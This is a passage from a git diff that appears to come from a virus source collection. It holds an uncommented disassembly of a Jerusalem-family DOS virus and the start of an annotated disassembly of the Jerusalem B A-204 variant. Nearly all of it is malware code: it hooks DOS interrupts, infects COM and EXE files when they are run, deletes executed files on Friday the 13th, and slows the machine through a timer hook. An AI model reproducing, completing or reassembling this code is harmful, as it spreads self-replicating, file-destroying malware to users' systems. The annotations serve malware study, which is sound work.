+0000:012E 1F POP DS +0000:012F B91007 MOV CX,0710H +0000:0132 D1E9 SHR CX,1 +0000:0134 33F6 XOR SI,SI +0000:0136 8BFE MOV DI,SI +0000:0138 06 PUSH ES +0000:0139 B84201 MOV AX,0142H +0000:013C 50 PUSH AX +0000:013D EAFC030000 JMP X0000_03FC +0000:0142 8CC8 MOV AX,CS +0000:0144 8ED0 MOV SS,AX +0000:0146 BC0007 MOV SP,0700H +0000:0149 33C0 XOR AX,AX +0000:014B 8ED8 MOV DS,AX +0000:014D 2EA14B00 MOV AX,CS:Y004BH +0000:0151 A3FC03 MOV Y03FCH,AX +0000:0154 2EA04D00 MOV AL,CS:Y004DH +0000:0158 A2FE03 MOV Y03FEH,AL +0000:015B 8BDC MOV BX,SP +0000:015D B104 MOV CL,04H +0000:015F D3EB SHR BX,CL +0000:0161 83C310 ADD BX,0010H +0000:0164 2E891E3300 MOV CS:[Y0033H],BX +0000:0169 B44A MOV AH,04AH +0000:016B 2E8E063100 MOV ES,CS:[Y0031H] +0000:0170 CD21 INT 021H +0000:0172 B82135 MOV AX,03521H +0000:0175 CD21 INT 021H +0000:0177 2E891E1700 MOV CS:[Y0017H],BX +0000:017C 2E8C061900 MOV CS:[Y0019H],ES +0000:0181 0E PUSH CS +0000:0182 1F POP DS +0000:0183 BA5B02 MOV DX,025BH +0000:0186 B82125 MOV AX,02521H +0000:0189 CD21 INT 021H +0000:018B 8E063100 MOV ES,[Y0031H] +0000:018F 268E062C00 MOV ES,ES:[Y002CH] +0000:0194 33FF XOR DI,DI +0000:0196 B9FF7F MOV CX,07FFFH +0000:0199 32C0 XOR AL,AL + +"JV.MOC" PAGE 0004 + +0000:019B F2AE X019B: REPNE SCASB +0000:019D 263805 CMP ES:[DI],AL +0000:01A0 E0F9 LOOPNZ X019B +0000:01A2 8BD7 MOV DX,DI +0000:01A4 83C203 ADD DX,0003H +0000:01A7 B8004B MOV AX,04B00H +0000:01AA 06 PUSH ES +0000:01AB 1F POP DS +0000:01AC 0E PUSH CS +0000:01AD 07 POP ES +0000:01AE BB3500 MOV BX,0035H +0000:01B1 1E PUSH DS +0000:01B2 06 PUSH ES +0000:01B3 50 PUSH AX +0000:01B4 53 PUSH BX +0000:01B5 51 PUSH CX +0000:01B6 52 PUSH DX +0000:01B7 B42A MOV AH,02AH +0000:01B9 CD21 INT 021H +0000:01BB 2EC6060E0000 MOV BYTE PTR CS:[Y000EH],00H +0000:01C1 81F9C307 CMP CX,07C3H +0000:01C5 7430 JZ X01F7 +0000:01C7 3C05 CMP AL,05H +0000:01C9 750D JNZ X01D8 +0000:01CB 80FA0D CMP DL,0DH +0000:01CE 7508 JNZ X01D8 +0000:01D0 2EFE060E00 INC BYTE PTR CS:[Y000EH] +0000:01D5 EB20 JMP X01F7 +0000:01D7 90 NOP +0000:01D8 B80835 X01D8: MOV AX,03508H +0000:01DB CD21 INT 021H +0000:01DD 2E891E1300 MOV CS:[Y0013H],BX +0000:01E2 2E8C061500 MOV CS:[Y0015H],ES +0000:01E7 0E PUSH CS +0000:01E8 1F POP DS +0000:01E9 C7061F00907E MOV WORD PTR [Y001FH],07E90H +0000:01EF B80825 MOV AX,02508H +0000:01F2 BA1E02 MOV DX,021EH +0000:01F5 CD21 INT 021H +0000:01F7 5A X01F7: POP DX +0000:01F8 59 POP CX +0000:01F9 5B POP BX +0000:01FA 58 POP AX +0000:01FB 07 POP ES +0000:01FC 1F POP DS +0000:01FD 9C PUSHF +0000:01FE 2EFF1E1700 CALL CS:[Y0017H] +0000:0203 1E PUSH DS +0000:0204 07 POP ES +0000:0205 B449 MOV AH,049H +0000:0207 CD21 INT 021H +0000:0209 B44D MOV AH,04DH +0000:020B CD21 INT 021H +0000:020D B431 MOV AH,031H +0000:020F BA0006 MOV DX,0600H +0000:0212 B104 MOV CL,04H + +"JV.MOC" PAGE 0005 + +0000:0214 D3EA SHR DX,CL +0000:0216 83C210 ADD DX,0010H +0000:0219 CD21 INT 021H +0000:021B 32C0 XOR AL,AL +0000:021D CF IRET +0000:021E 2E833E1F0002 CMP WORD PTR CS:[Y001FH],0002H +0000:0224 7517 JNZ X023D +0000:0226 50 PUSH AX +0000:0227 53 PUSH BX +0000:0228 51 PUSH CX +0000:0229 52 PUSH DX +0000:022A 55 PUSH BP +0000:022B B80206 MOV AX,0602H +0000:022E B787 MOV BH,087H +0000:0230 B90505 MOV CX,0505H +0000:0233 BA1010 MOV DX,01010H +0000:0236 CD10 INT 010H +0000:0238 5D POP BP +0000:0239 5A POP DX +0000:023A 59 POP CX +0000:023B 5B POP BX +0000:023C 58 POP AX +0000:023D 2EFF0E1F00 X023D: DEC WORD PTR CS:[Y001FH] +0000:0242 7512 JNZ X0256 +0000:0244 2EC7061F000100 MOV WORD PTR CS:[Y001FH],0001H +0000:024B 50 PUSH AX +0000:024C 51 PUSH CX +0000:024D 56 PUSH SI +0000:024E B90140 MOV CX,04001H +0000:0251 F3AC REPE LODSB +0000:0253 5E POP SI +0000:0254 59 POP CX +0000:0255 58 POP AX +0000:0256 2EFF2E1300 X0256: JMP CS:[Y0013H] +0000:025B 9C X025B: PUSHF +0000:025C 80FCE0 CMP AH,0E0H +0000:025F 7505 JNZ X0266 +0000:0261 B80003 MOV AX,0300H +0000:0264 9D POPF +0000:0265 CF IRET +0000:0266 80FCDD X0266: CMP AH,0DDH +0000:0269 7413 JZ X027E +0000:026B 80FCDE CMP AH,0DEH +0000:026E 7428 JZ X0298 +0000:0270 3D004B CMP AX,04B00H +0000:0273 7503 JNZ X0278 +0000:0275 E9B400 JMP X032C +0000:0278 9D X0278: POPF +0000:0279 2EFF2E1700 JMP CS:[Y0017H] +0000:027E 58 X027E: POP AX +0000:027F 58 POP AX +0000:0280 B80001 MOV AX,0100H +0000:0283 2EA30A00 MOV CS:Y000AH,AX +0000:0287 58 POP AX +0000:0288 2EA30C00 MOV CS:Y000CH,AX +0000:028C F3A4 REPE MOVSB + +"JV.MOC" PAGE 0006 + +0000:028E 9D POPF +0000:028F 2EA10F00 MOV AX,CS:Y000FH +0000:0293 2EFF2E0A00 JMP CS:[Y000AH] +0000:0298 83C406 X0298: ADD SP,0006H +0000:029B 9D POPF +0000:029C 8CC8 MOV AX,CS +0000:029E 8ED0 MOV SS,AX +0000:02A0 BC1007 MOV SP,0710H +0000:02A3 06 PUSH ES +0000:02A4 06 PUSH ES +0000:02A5 33FF XOR DI,DI +0000:02A7 0E PUSH CS +0000:02A8 07 POP ES +0000:02A9 B91000 MOV CX,0010H +0000:02AC 8BF3 MOV SI,BX +0000:02AE BF2100 MOV DI,0021H +0000:02B1 F3A4 REPE MOVSB +0000:02B3 8CD8 MOV AX,DS +0000:02B5 8EC0 MOV ES,AX +0000:02B7 2EF7267A00 MUL WORD PTR CS:[Y007AH] +0000:02BC 2E03062B00 ADD AX,CS:[Y002BH] +0000:02C1 83D200 ADC DX,0000H +0000:02C4 2EF7367A00 DIV WORD PTR CS:[Y007AH] +0000:02C9 8ED8 MOV DS,AX +0000:02CB 8BF2 MOV SI,DX +0000:02CD 8BFA MOV DI,DX +0000:02CF 8CC5 MOV BP,ES +0000:02D1 2E8B1E2F00 MOV BX,CS:[Y002FH] +0000:02D6 0BDB OR BX,BX +0000:02D8 7413 JZ X02ED +0000:02DA B90080 X02DA: MOV CX,08000H +0000:02DD F3A5 REPE MOVSW +0000:02DF 050010 ADD AX,01000H +0000:02E2 81C50010 ADD BP,01000H +0000:02E6 8ED8 MOV DS,AX +0000:02E8 8EC5 MOV ES,BP +0000:02EA 4B DEC BX +0000:02EB 75ED JNZ X02DA +0000:02ED 2E8B0E2D00 X02ED: MOV CX,CS:[Y002DH] +0000:02F2 F3A4 REPE MOVSB +0000:02F4 58 POP AX +0000:02F5 50 PUSH AX +0000:02F6 051000 ADD AX,0010H +0000:02F9 2E01062900 ADD CS:[Y0029H],AX +0000:02FE 2E01062500 ADD CS:[Y0025H],AX +0000:0303 2EA12100 MOV AX,CS:Y0021H +0000:0307 1F POP DS +0000:0308 07 POP ES +0000:0309 2E8E162900 MOV SS,CS:[Y0029H] +0000:030E 2E8B262700 MOV SP,CS:[Y0027H] +0000:0313 2EFF2E2300 JMP CS:[Y0023H] +0000:0318 33C9 X0318: XOR CX,CX +0000:031A B80143 MOV AX,04301H +0000:031D CD21 INT 021H +0000:031F B441 MOV AH,041H +0000:0321 CD21 INT 021H + +"JV.MOC" PAGE 0007 + +0000:0323 B8004B MOV AX,04B00H +0000:0326 9D POPF +0000:0327 2EFF2E1700 JMP CS:[Y0017H] +0000:032C 2E803E0E0001 X032C: CMP BYTE PTR CS:[Y000EH],01H +0000:0332 74E4 JZ X0318 +0000:0334 2EC7067000FFFF MOV WORD PTR CS:[Y0070H],0FFFFH +0000:033B 2EC7068F000000 MOV WORD PTR CS:[Y008FH],0000H +0000:0342 2E89168000 MOV CS:[Y0080H],DX +0000:0347 2E8C1E8200 MOV CS:[Y0082H],DS +0000:034C 50 PUSH AX +0000:034D 53 PUSH BX +0000:034E 51 PUSH CX +0000:034F 52 PUSH DX +0000:0350 56 PUSH SI +0000:0351 57 PUSH DI +0000:0352 1E PUSH DS +0000:0353 06 PUSH ES +0000:0354 FC CLD +0000:0355 8BFA MOV DI,DX +0000:0357 32D2 XOR DL,DL +0000:0359 807D013A CMP BYTE PTR [DI+01H],03AH +0000:035D 7505 JNZ X0364 +0000:035F 8A15 MOV DL,[DI] +0000:0361 80E21F AND DL,01FH +0000:0364 B436 X0364: MOV AH,036H +0000:0366 CD21 INT 021H +0000:0368 3DFFFF CMP AX,0FFFFH +0000:036B 7503 JNZ X0370 +0000:036D E97702 X036D: JMP X05E7 +0000:0370 F7E3 X0370: MUL BX +0000:0372 F7E1 MUL CX +0000:0374 0BD2 OR DX,DX +0000:0376 7505 JNZ X037D +0000:0378 3D1007 CMP AX,0710H +0000:037B 72F0 JB X036D +0000:037D 2E8B168000 X037D: MOV DX,CS:[Y0080H] +0000:0382 1E PUSH DS +0000:0383 07 POP ES +0000:0384 32C0 XOR AL,AL +0000:0386 B94100 MOV CX,0041H +0000:0389 F2AE REPNE SCASB +0000:038B 2E8B368000 MOV SI,CS:[Y0080H] +0000:0390 8A04 X0390: MOV AL,[SI] +0000:0392 0AC0 OR AL,AL +0000:0394 740E JZ X03A4 +0000:0396 3C61 CMP AL,061H +0000:0398 7207 JB X03A1 +0000:039A 3C7A CMP AL,07AH +0000:039C 7703 JA X03A1 +0000:039E 802C20 SUB BYTE PTR [SI],020H +0000:03A1 46 X03A1: INC SI +0000:03A2 EBEC JMP X0390 +0000:03A4 B90B00 X03A4: MOV CX,000BH +0000:03A7 2BF1 SUB SI,CX +0000:03A9 BF8400 MOV DI,0084H +0000:03AC 0E PUSH CS + +"JV.MOC" PAGE 0008 + +0000:03AD 07 POP ES +0000:03AE B90B00 MOV CX,000BH +0000:03B1 F3A6 REPE CMPSB +0000:03B3 7503 JNZ X03B8 +0000:03B5 E92F02 JMP X05E7 +0000:03B8 B80043 X03B8: MOV AX,04300H +0000:03BB CD21 INT 021H +0000:03BD 7205 JB X03C4 +0000:03BF 2E890E7200 MOV CS:[Y0072H],CX +0000:03C4 7225 X03C4: JB X03EB +0000:03C6 32C0 XOR AL,AL +0000:03C8 2EA24E00 MOV CS:Y004EH,AL +0000:03CC 1E PUSH DS +0000:03CD 07 POP ES +0000:03CE 8BFA MOV DI,DX +0000:03D0 B94100 MOV CX,0041H +0000:03D3 F2AE REPNE SCASB +0000:03D5 807DFE4D CMP BYTE PTR [DI-02H],04DH +0000:03D9 740B JZ X03E6 +0000:03DB 807DFE6D CMP BYTE PTR [DI-02H],06DH +0000:03DF 7405 JZ X03E6 +0000:03E1 2EFE064E00 INC BYTE PTR CS:[Y004EH] +0000:03E6 B8003D X03E6: MOV AX,03D00H +0000:03E9 CD21 INT 021H +0000:03EB 725A X03EB: JB X0447 +0000:03ED 2EA37000 MOV CS:Y0070H,AX +0000:03F1 8BD8 MOV BX,AX +0000:03F3 B80242 MOV AX,04202H +0000:03F6 B9FFFF MOV CX,0FFFFH +0000:03F9 BAFBFF MOV DX,0FFFBH +0000:03FC CD21 X03FC: INT 021H +0000:03FE 72EB JB X03EB +0000:0400 050500 ADD AX,0005H +0000:0403 2EA31100 MOV CS:Y0011H,AX +0000:0407 B90500 MOV CX,0005H +0000:040A BA6B00 MOV DX,006BH +0000:040D 8CC8 MOV AX,CS +0000:040F 8ED8 MOV DS,AX +0000:0411 8EC0 MOV ES,AX +0000:0413 B43F MOV AH,03FH +0000:0415 CD21 INT 021H +0000:0417 8BFA MOV DI,DX +0000:0419 BE0500 MOV SI,0005H +0000:041C F3A6 REPE CMPSB +0000:041E 7507 JNZ X0427 +0000:0420 B43E MOV AH,03EH +0000:0422 CD21 INT 021H +0000:0424 E9C001 JMP X05E7 +0000:0427 B82435 X0427: MOV AX,03524H +0000:042A CD21 INT 021H +0000:042C 891E1B00 MOV [Y001BH],BX +0000:0430 8C061D00 MOV [Y001DH],ES +0000:0434 BA1B02 MOV DX,021BH +0000:0437 B82425 MOV AX,02524H +0000:043A CD21 INT 021H +0000:043C C5168000 LDS DX,[Y0080H] + +"JV.MOC" PAGE 0009 + +0000:0440 33C9 XOR CX,CX +0000:0442 B80143 MOV AX,04301H +0000:0445 CD21 INT 021H +0000:0447 723B X0447: JB X0484 +0000:0449 2E8B1E7000 MOV BX,CS:[Y0070H] +0000:044E B43E MOV AH,03EH +0000:0450 CD21 INT 021H +0000:0452 2EC7067000FFFF MOV WORD PTR CS:[Y0070H],0FFFFH +0000:0459 B8023D MOV AX,03D02H +0000:045C CD21 INT 021H +0000:045E 7224 JB X0484 +0000:0460 2EA37000 MOV CS:Y0070H,AX +0000:0464 8CC8 MOV AX,CS +0000:0466 8ED8 MOV DS,AX +0000:0468 8EC0 MOV ES,AX +0000:046A 8B1E7000 MOV BX,[Y0070H] +0000:046E B80057 MOV AX,05700H +0000:0471 CD21 INT 021H +0000:0473 89167400 MOV [Y0074H],DX +0000:0477 890E7600 MOV [Y0076H],CX +0000:047B B80042 MOV AX,04200H +0000:047E 33C9 XOR CX,CX +0000:0480 8BD1 MOV DX,CX +0000:0482 CD21 INT 021H +0000:0484 723D X0484: JB X04C3 +0000:0486 803E4E0000 CMP BYTE PTR [Y004EH],00H +0000:048B 7403 JZ X0490 +0000:048D EB57 JMP X04E6 +0000:048F 90 NOP +0000:0490 BB0010 X0490: MOV BX,01000H +0000:0493 B448 MOV AH,048H +0000:0495 CD21 INT 021H +0000:0497 730B JAE X04A4 +0000:0499 B43E MOV AH,03EH +0000:049B 8B1E7000 MOV BX,[Y0070H] +0000:049F CD21 INT 021H +0000:04A1 E94301 JMP X05E7 +0000:04A4 FF068F00 X04A4: INC WORD PTR [Y008FH] +0000:04A8 8EC0 MOV ES,AX +0000:04AA 33F6 XOR SI,SI +0000:04AC 8BFE MOV DI,SI +0000:04AE B91007 MOV CX,0710H +0000:04B1 F3A4 REPE MOVSB +0000:04B3 8BD7 MOV DX,DI +0000:04B5 8B0E1100 MOV CX,[Y0011H] +0000:04B9 8B1E7000 MOV BX,[Y0070H] +0000:04BD 06 PUSH ES +0000:04BE 1F POP DS +0000:04BF B43F MOV AH,03FH +0000:04C1 CD21 INT 021H +0000:04C3 721C X04C3: JB X04E1 +0000:04C5 03F9 ADD DI,CX +0000:04C7 33C9 XOR CX,CX +0000:04C9 8BD1 MOV DX,CX +0000:04CB B80042 MOV AX,04200H +0000:04CE CD21 INT 021H + +"JV.MOC" PAGE 0010 + +0000:04D0 BE0500 MOV SI,0005H +0000:04D3 B90500 MOV CX,0005H +0000:04D6 F32EA4 REPE MOVS ES:BYTE PTR (DI),CS:BYTE PT + R (SI) +0000:04D9 8BCF MOV CX,DI +0000:04DB 33D2 XOR DX,DX +0000:04DD B440 MOV AH,040H +0000:04DF CD21 INT 021H +0000:04E1 720D X04E1: JB X04F0 +0000:04E3 E9BC00 JMP X05A2 +0000:04E6 B91C00 X04E6: MOV CX,001CH +0000:04E9 BA4F00 MOV DX,004FH +0000:04EC B43F MOV AH,03FH +0000:04EE CD21 INT 021H +0000:04F0 724A X04F0: JB X053C +0000:04F2 C70661008419 MOV WORD PTR [Y0061H],01984H +0000:04F8 A15D00 MOV AX,Y005DH +0000:04FB A34500 MOV Y0045H,AX +0000:04FE A15F00 MOV AX,Y005FH +0000:0501 A34300 MOV Y0043H,AX +0000:0504 A16300 MOV AX,Y0063H +0000:0507 A34700 MOV Y0047H,AX +0000:050A A16500 MOV AX,Y0065H +0000:050D A34900 MOV Y0049H,AX +0000:0510 A15300 MOV AX,Y0053H +0000:0513 833E510000 CMP WORD PTR [Y0051H],0000H +0000:0518 7401 JZ X051B +0000:051A 48 DEC AX +0000:051B F7267800 X051B: MUL WORD PTR [Y0078H] +0000:051F 03065100 ADD AX,[Y0051H] +0000:0523 83D200 ADC DX,0000H +0000:0526 050F00 ADD AX,000FH +0000:0529 83D200 ADC DX,0000H +0000:052C 25F0FF AND AX,0FFF0H +0000:052F A37C00 MOV Y007CH,AX +0000:0532 89167E00 MOV [Y007EH],DX +0000:0536 051007 ADD AX,0710H +0000:0539 83D200 ADC DX,0000H +0000:053C 723A X053C: JB X0578 +0000:053E F7367800 DIV WORD PTR [Y0078H] +0000:0542 0BD2 OR DX,DX +0000:0544 7401 JZ X0547 +0000:0546 40 INC AX +0000:0547 A35300 X0547: MOV Y0053H,AX +0000:054A 89165100 MOV [Y0051H],DX +0000:054E A17C00 MOV AX,Y007CH +0000:0551 8B167E00 MOV DX,[Y007EH] +0000:0555 F7367A00 DIV WORD PTR [Y007AH] +0000:0559 2B065700 SUB AX,[Y0057H] +0000:055D A36500 MOV Y0065H,AX +0000:0560 C7066300C500 MOV WORD PTR [Y0063H],00C5H +0000:0566 A35D00 MOV Y005DH,AX +0000:0569 C7065F001007 MOV WORD PTR [Y005FH],0710H +0000:056F 33C9 XOR CX,CX +0000:0571 8BD1 MOV DX,CX +0000:0573 B80042 MOV AX,04200H +0000:0576 CD21 INT 021H + +"JV.MOC" PAGE 0011 + +0000:0578 720A X0578: JB X0584 +0000:057A B91C00 MOV CX,001CH +0000:057D BA4F00 MOV DX,004FH +0000:0580 B440 MOV AH,040H +0000:0582 CD21 INT 021H +0000:0584 7211 X0584: JB X0597 +0000:0586 3BC1 CMP AX,CX +0000:0588 7518 JNZ X05A2 +0000:058A 8B167C00 MOV DX,[Y007CH] +0000:058E 8B0E7E00 MOV CX,[Y007EH] +0000:0592 B80042 MOV AX,04200H +0000:0595 CD21 INT 021H +0000:0597 7209 X0597: JB X05A2 +0000:0599 33D2 XOR DX,DX +0000:059B B91007 MOV CX,0710H +0000:059E B440 MOV AH,040H +0000:05A0 CD21 INT 021H +0000:05A2 2E833E8F0000 X05A2: CMP WORD PTR CS:[Y008FH],0000H +0000:05A8 7404 JZ X05AE +0000:05AA B449 MOV AH,049H +0000:05AC CD21 INT 021H +0000:05AE 2E833E7000FF X05AE: CMP WORD PTR CS:[Y0070H],0FFFFH +0000:05B4 7431 JZ X05E7 +0000:05B6 2E8B1E7000 MOV BX,CS:[Y0070H] +0000:05BB 2E8B167400 MOV DX,CS:[Y0074H] +0000:05C0 2E8B0E7600 MOV CX,CS:[Y0076H] +0000:05C5 B80157 MOV AX,05701H +0000:05C8 CD21 INT 021H +0000:05CA B43E MOV AH,03EH +0000:05CC CD21 INT 021H +0000:05CE 2EC5168000 LDS DX,CS:[Y0080H] +0000:05D3 2E8B0E7200 MOV CX,CS:[Y0072H] +0000:05D8 B80143 MOV AX,04301H +0000:05DB CD21 INT 021H +0000:05DD 2EC5161B00 LDS DX,CS:[Y001BH] +0000:05E2 B82425 MOV AX,02524H +0000:05E5 CD21 INT 021H +0000:05E7 07 X05E7: POP ES +0000:05E8 1F POP DS +0000:05E9 5F POP DI +0000:05EA 5E POP SI +0000:05EB 5A POP DX +0000:05EC 59 POP CX +0000:05ED 5B POP BX +0000:05EE 58 POP AX +0000:05EF 9D POPF +0000:05F0 2EFF2E1700 JMP CS:[Y0017H] +0000:05F5 0000 X05F5: ADD [BX+SI],AL +0000:05F7 0000 ADD [BX+SI],AL +0000:05F9 0000 ADD [BX+SI],AL +0000:05FB 0000 ADD [BX+SI],AL +0000:05FD 0000 ADD [BX+SI],AL +0000:05FF 004D00 ADD [DI+00H],CL +0000:0602 000F ADD [BX],CL +0000:0604 0000 ADD [BX+SI],AL +0000:0606 0000 ADD [BX+SI],AL + +"JV.MOC" PAGE 0012 + +0000:0608 0000 ADD [BX+SI],AL +0000:060A 0000 ADD [BX+SI],AL +0000:060C 0000 ADD [BX+SI],AL +0000:060E 0000 ADD [BX+SI],AL +0000:0610 CD20 INT 020H +0000:0612 00A0009A ADD [BX+SI+Y09A00H],AH +0000:0616 F0FE1D LOCK CALL [DI] ; NOT VALID +0000:0619 F02F LOCK DAS +0000:061B 018E1E3C ADD [BP+Y03C1EH],CX +0000:061F 018E1EEB ADD [BP+Y0EB1EH],CX +0000:0623 048E ADD AL,08EH +0000:0625 1E PUSH DS +0000:0626 8E1EFFFF MOV DS,[Y0FFFFH] +0000:062A FFFF ??? DI +0000:062C FFFF ??? DI +0000:062E FFFF ??? DI +0000:0630 FFFF ??? DI +0000:0632 FFFF ??? DI +0000:0634 FFFF ??? DI +0000:0636 FFFF ??? DI +0000:0638 FFFF ??? DI +0000:063A FFFF ??? DI +0000:063C 7C1F JL X065D +0000:063E DE3E8D29 ESC 037H,[Y0298DH] +0000:0642 1400 ADC AL,00H +0000:0644 1800 SBB [BX+SI],AL +0000:0646 F1 DB 0F1H +0000:0647 1F POP DS +0000:0648 FFFF ??? DI +0000:064A FFFF ??? DI +0000:064C 0000 ADD [BX+SI],AL +0000:064E 0000 ADD [BX+SI],AL +0000:0650 0000 ADD [BX+SI],AL +0000:0652 0000 ADD [BX+SI],AL +0000:0654 0000 ADD [BX+SI],AL +0000:0656 0000 ADD [BX+SI],AL +0000:0658 0000 ADD [BX+SI],AL +0000:065A 0000 ADD [BX+SI],AL +0000:065C 0000 ADD [BX+SI],AL +0000:065E 0000 ADD [BX+SI],AL +0000:0660 CD21 INT 021H +0000:0662 CB RET ; INTERSEGMENT +0000:0663 0000 X0663: ADD [BX+SI],AL +0000:0665 0000 ADD [BX+SI],AL +0000:0667 0000 ADD [BX+SI],AL +0000:0669 0000 ADD [BX+SI],AL +0000:066B 0000 ADD [BX+SI],AL +0000:066D 2020 AND [BX+SI],AH +0000:066F 2020 AND [BX+SI],AH +0000:0671 2020 AND [BX+SI],AH +0000:0673 2020 AND [BX+SI],AH +0000:0675 2020 AND [BX+SI],AH +0000:0677 2000 AND [BX+SI],AL +0000:0679 0000 ADD [BX+SI],AL +0000:067B 0000 ADD [BX+SI],AL +0000:067D 2020 AND [BX+SI],AH + +"JV.MOC" PAGE 0013 + +0000:067F 2020 AND [BX+SI],AH +0000:0681 2020 AND [BX+SI],AH +0000:0683 2020 AND [BX+SI],AH +0000:0685 2020 AND [BX+SI],AH +0000:0687 2000 AND [BX+SI],AL +0000:0689 0000 ADD [BX+SI],AL +0000:068B 0000 ADD [BX+SI],AL +0000:068D 0000 ADD [BX+SI],AL +0000:068F 0000 ADD [BX+SI],AL +0000:0691 0D6B6F OR AX,06F6BH +0000:0694 6465 JZ X06FB +0000:0696 6572 JNZ X070A +0000:0698 7A2E JPE X06C8 +0000:069A 6578 JNZ X0714 +0000:069C 6520 JNZ X06BE +0000:069E 613A JNO X06DA +0000:06A0 6B6F JPO X0711 +0000:06A2 6465 JZ X0709 +0000:06A4 6572 JNZ X0718 +0000:06A6 2E6578 JNZ X0721 +0000:06A9 650D JNZ X06B8 +0000:06AB 0000 ADD [BX+SI],AL +0000:06AD 0000 ADD [BX+SI],AL +0000:06AF 0000 ADD [BX+SI],AL +0000:06B1 0000 ADD [BX+SI],AL +0000:06B3 0000 ADD [BX+SI],AL +0000:06B5 0000 ADD [BX+SI],AL +0000:06B7 0000 ADD [BX+SI],AL +0000:06B9 0000 ADD [BX+SI],AL +0000:06BB 0000 ADD [BX+SI],AL +0000:06BD 0000 ADD [BX+SI],AL +0000:06BF 0000 ADD [BX+SI],AL +0000:06C1 0000 ADD [BX+SI],AL +0000:06C3 0000 ADD [BX+SI],AL +0000:06C5 0000 ADD [BX+SI],AL +0000:06C7 0000 ADD [BX+SI],AL +0000:06C9 0000 ADD [BX+SI],AL +0000:06CB 0000 ADD [BX+SI],AL +0000:06CD 0000 ADD [BX+SI],AL +0000:06CF 0000 ADD [BX+SI],AL +0000:06D1 0000 ADD [BX+SI],AL +0000:06D3 0000 ADD [BX+SI],AL +0000:06D5 0000 ADD [BX+SI],AL +0000:06D7 0000 ADD [BX+SI],AL +0000:06D9 005718 ADD [BX+018H],DL +0000:06DC 0825 OR [DI],AH +0000:06DE A5 MOVSW +0000:06DF FEC5 INC CH +0000:06E1 07 POP ES +0000:06E2 1E PUSH DS +0000:06E3 0210 ADD DL,[BX+SI] +0000:06E5 07 POP ES +0000:06E6 57 PUSH DI +0000:06E7 18B10D47 SBB [BX+DI+Y0470DH],DH +0000:06EB 0104 ADD [SI],AX +0000:06ED 7F70 JG X075F + +"JV.MOC" PAGE 0014 + +0000:06EF 0010 ADD [BX+SI],DL +0000:06F1 07 POP ES +0000:06F2 1D001C SBB AX,01C00H +0000:06F5 09A20D3D OR [BP+SI+Y03D0DH],SP +0000:06F9 0C1B OR AL,01BH +0000:06FB 02B10D02 X06FB: ADD DH,[BX+DI+Y020DH] +0000:06FF F24D REPNE DEC BP +0000:0701 360E PUSH CS +0000:0703 0300 ADD AX,[BX+SI] +0000:0705 0000 ADD [BX+SI],AL +0000:0707 00EE ADD DH,CH +0000:0709 002A X0709: ADD [BP+SI],CH +0000:070B 0F POP CS +0000:070C 42 INC DX +0000:070D 01C1 ADD CX,AX +0000:070F 0DB44C OR AX,04CB4H +0000:0712 B000 MOV AL,00H +0000:0714 CD21 X0714: INT 021H +0000:0716 4D DEC BP +0000:0717 7344 JAE X075D +0000:0719 6F73 JG X078E + + \ No newline at end of file diff --git a/j/JERUB204.ASM b/j/JERUB204.ASM new file mode 100755 index 0000000..238195e --- /dev/null +++ b/j/JERUB204.ASM @@ -0,0 +1,977 @@ + Virus : Jerusalem Version B Variant A-204 +Disassembled by : Righard Zwienenberg + Steenwijklaan 302 + 2541 RT The Hague + The Netherlands + Data : +31-70-3898822, V22,V22b,HST,MNP,CM + Voive : +31-70-3675379 +FidoNet address : 2:512/2.3 + Used Software : ASMGEN, DEBUG and D86-Disassembler + Date : 20 june 1990 + +Note : All Values are hex. If a value is followd by d (e.g. 30d) it means +30 decimal. + +Note : This disassembly consists of two programs. The original program was +a dummy file (20h bytes long) containing 1Fh times 90 RET and 01h time +C3 RET. + +0100 E9 92 00 JMP 0195 ; JUMP -> 0195h + +0103 db 2A,41,2D,32,30,34,2A ; *A-204* never used + +010A dw 00 01 ; Startaddress original program +010C dw 01 56 ; Startaddress-offset original program +010E db 00 ; Trigger for destruction (delete file) + ; Always zero, but if it is Friday the 13th and the year is + ; not equal 1987 this byte is set to one +010F dw 00 00 ; Storing place for original AX (read-only word) +0111 dw 20 00 ; Length of Original Program (0020h) +0113 dw A5 FE ; Storing place for original BX of INT 08h vector +0115 dw 00 F0 ; Storing place for original ES of INT 08h vector +0117 dw 60 14 ; Storing place for original BX of INT 21h vector +0119 dw 2B 02 ; Storing place for original ES of INT 21h vector +011B dw 56 05 ; Storing place for original BX of INT 24h vector +011D dw DE 0C ; Storing place for original ES of INT 24h vector +011F dw 40 7E ; Storing place for timer for 30 minutes trigger + ; By init. set to 7E90h + + ; The following words are never used by the virus. The are used + ; by a routine starting at 0398h which is executed when INT 21h + ; is called with AH=DEh. This never happens in the code. +0121 dw 00 00 ; +0123 dw 00 00 ; +0125 dw 00 00 ; +0127 dw 00 00 ; +0129 dw 00 00 ; +012B dw 00 00 ; +012D dw 00 E8 ; +012F dw 06 EC ; + +0131 dw 91 16 ; Storing place for original ES +0133 dw 80 00 ; Storing place for BX. Never read again + +0135 00 00 00 80 00 + +0139 dw 91 16 ; Storing place for original ES + +013B 5C 00 + +013D dw 91 16 ; Storing place for original ES + +013F 6C 00 ; + +0141 dw 91 16 ; Temp. storing place for original ES +0143 dw 00 20 ; Temp. storing place for AX +0145 dw 0D 1F ; Temp. storing place for ES+10h +0147 dw 5F 21 ; Storing place for AX +0149 dw A1 16 ; Temp. storing place for ES+10h +014B dw 00 F0 ; Temp. storing place for AX +014D db 02 ; Temp. storing place for AL +014E db 00 ; COM/EXE indicator + ; 0 = EXE-File + ; 1 = COM-File +0151 dw 30 01 ; Temp. storing place for DX +0153 dw 23 00 ; Temp. storing place for AX + +0155 20 01 + +0157 dw 4A 00 ; Read Only!!! The code only read this word to substract it + ; from AX + +0159 D4 06 D4 06 + +015D dw 98 03 ; Temp. Storing place to store AX +015F dw 10 07 ; Probably startaddress of virus in mem +0161 dw 84 19 ; Never used!!! 1984h is stored here by the code +0163 dw C5 00 ; 00C5h is being read and put back later by the code +0165 dw 99 03 ; Temp. storing place for AX + +0167 1C 00 00 00 90 90 90 90 C3 + +0170 dw 05 00 ; Storing place for file handle (BX) +0172 dw 20 00 ; Storing place for file attributes + ; bit 0 = read only + ; bit 1 = hidden file + ; bit 2 = system file + ; bit 3 = volume label + ; bit 4 = subdirectory + ; bit 5 = archive bit + ; bit 8 = shareable (Novell Network) +0174 dw D5 14 ; Storing place for file date (DX) +0176 dw 99 83 ; Storing place for file time (CX) +0178 dw 00 02 ; 0200h=512d Used as multiplier/divider +017A dw 10 00 ; 0001h= 1d Used as multiplier/divider +017C dw 20 3E ; Temp. storing place for AX +017E dw 00 00 ; Temp. storing place for DX +0180 dw B9 42 